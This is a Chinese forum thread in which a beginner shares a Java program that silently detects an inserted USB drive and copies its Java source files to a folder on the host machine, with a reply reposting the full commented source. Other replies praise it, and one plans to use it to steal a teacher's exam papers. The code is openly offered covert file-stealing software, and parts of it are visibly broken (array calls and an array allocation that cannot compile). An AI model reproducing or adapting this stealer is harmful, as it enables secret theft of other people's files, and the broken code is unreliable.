口袋C 发表于 2018-1-7 03:27

自写java小程序 U盘偷取小文件

本人白的不能再白 刚学到java I/0流就想到了一个鬼主意

仅供学习交流大佬无视(━┳━ _ ━┳━)~
具体功能就是采用多线程搜索刚插入的U盘里面的java源代码然后偷偷的放到自己电脑磁盘里面(当然选择偷什么文件可以自己修改需要一丢丢java基础)

默认偷到的文件放到D:/ceshi 文件夹里面 如果没有请自行创建或者在源代码内自行修改(直接源代码 所以有没有坏功能可以直接看)


第一次发帖 所以不会设置购买=-= 算了评分吧。。

杨大善人 发表于 2018-3-20 19:52

我根据楼主的java源码 然后做了一点注释,看完之后感觉自己又成长了不少
package com.atguigu.java;

import java.io.*;

public class Detection {

        public void runopen() {

                System.out.println("启动检测U盘......-----Duan");
                byte[] words = null;

                // File.listRoots(); 返回我们电脑上所有盘路径
                // C D E F dishs:盘
                File[] file = File.listRoots();

                /*
               * for (int i = 0; i < dishs.length; i++) {
               * System.out.println(dishs); }
               */

                File[] paths = null;
                boolean bool = false;

                while (true) {
                        // 不断赋值
                        paths = File.listRoots();
                        // 判断
                        if (paths.length > file.length) {
                                bool = true;
                                break;
                        }
                }

                if (bool) {
                        // 数组长度假设5; 0,1,2,3,4. paths.length - 1 等于 paths
                        //U盘所在的盘符
                        String path = paths.toString();
                        System.out.println("检测到已插入U盘:" + path);

                        // 创建了copy 拷贝类 把U盘所在的盘符传进去
                        new Copy(new File(path));

                        bool = false;
                        runc();
                }
        }

        public void runc() {
                File[] dishs = File.listRoots();
                File[] d = null;
                boolean bool = false;
                String i = null;
                while (true) {
                        d = File.listRoots();
                        if (d.length < dishs.length) {
                                bool = true;
                                break;
                        }
                }
                if (bool) {
                        i = d.toString();
                        System.out.println("U盘已经拔出:" + i);
                        bool = false;
                        runopen();

                }
        }
}



package com.atguigu.java;

import java.io.*;

public class Copy {
        //U盘所在的盘符
        public Copy(File path) {

                // 调用本类中的方法
                copys(path);

        }

        public void copys(File path) {

                File[] listFiles = path.listFiles();
               
                if (listFiles != null) {

                        for (File f : listFiles) {
                                // copys(f);
                                MyThread mt = new MyThread(f);
                               
                                //以下代码将创建一个线程并启动它运行
                                //Java虚拟机调用此线程的run方法
                                mt.start();
                                System.out.println("第一步" + f);
                        }

                } else {
                        System.out.println("U盘里面啥也没有你拷个毛线?");
                }

                /*
               * if (file.getName().endsWith(".txt")) {
               * System.out.println(file.getAbsolutePath()); }
               */
        }

}



package com.atguigu.java;

import java.io.*;

//Thread 线程
public class MyThread extends Thread {
       
        File path = null;

        public MyThread(File path) {
                this.path = path;

        }

        @Override
        public void run() {

                if (this.path == null) {
                        System.out.println("错误");
                }
                sb(this.path);

        }

        char[] ch = null;

        public void sb(File path) {
               
                //isDirectory()判断path是不是目录 true; 否则 false
                //System.out.println(path.isDirectory());
                //不断循环到所有目录都遍历完
                if (path.isDirectory()) {
                       
                        //返回某个目录下所有文件和目录的绝对路径 的数组
                        File[] listFiles = path.listFiles();
                       
                        /*for (int i = 0; i < listFiles.length; i++) {
                                System.out.println(listFiles.getPath());
                        }*/
                       
                       
                        if (listFiles != null) {
                               
                                for (File e : listFiles) {
                                        //有可能是目录也有可能是文件
                                        sb(e);
                                        // System.out.println(Thread.currentThread().getName()+"---------"+e);
                                }
                        }
                }
               
                //endsWith()方法用于测试字符串是否以指定的后缀结束。
                if (path.getName().endsWith(".java")) {
                        System.out.println("检测到java源代码文件..." + path.getAbsolutePath());
                        ch = null;
                        FileReader fr = null;
                        FileWriter fw = null;
                        BufferedReader br = null;
                        BufferedWriter bw = null;
                        String str = null;
                        StringBuffer sb = null;
                        try {
                                fr = new FileReader(path);

                        } catch (IOException e) {
                                // TODO Auto-generated catch block
                                e.printStackTrace();
                        }
                        br = new BufferedReader(fr);
                        sb = new StringBuffer();
                        ch = new char;

                        int i;
                        try {
                                fw = new FileWriter("d:/ceshi/" + path.getName());
                                bw = new BufferedWriter(fw);
                                while ((i = br.read(ch)) != -1) {
                                        bw.write(ch, 0, i);
                                        // System.out.println(ch.length);
                                        bw.flush();
                                }

                        } catch (IOException e) {
                                // TODO Auto-generated catch block
                                e.printStackTrace();
                        } finally {
                                try {
                                        fr.close();
                                        br.close();
                                        bw.close();
                                        fw.close();
                                } catch (IOException e) {
                                        // TODO Auto-generated catch block
                                        e.printStackTrace();
                                }

                        }
                }

        }

}

太阳下的月亮 发表于 2018-1-7 05:27

虽然用不到,还是支持

guong 发表于 2018-1-7 06:09

学习学习 感谢分享

D小小贱 发表于 2018-1-7 06:25

感谢分享,共同学习学习

dkazyj 发表于 2018-1-7 07:52

很不错,支持一下

752979025 发表于 2018-1-7 08:17

52pojietest 发表于 2018-1-7 08:57

一直想写这么一个玩意,来拿老师优盘的期末试卷

饭没吃 发表于 2018-1-7 09:19

我有一个想法

简单的幸福CG 发表于 2018-1-7 09:36

有封装好的吗?感激不尽

ranranfeng 发表于 2018-1-7 09:38

学习了,
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 自写java小程序 U盘偷取小文件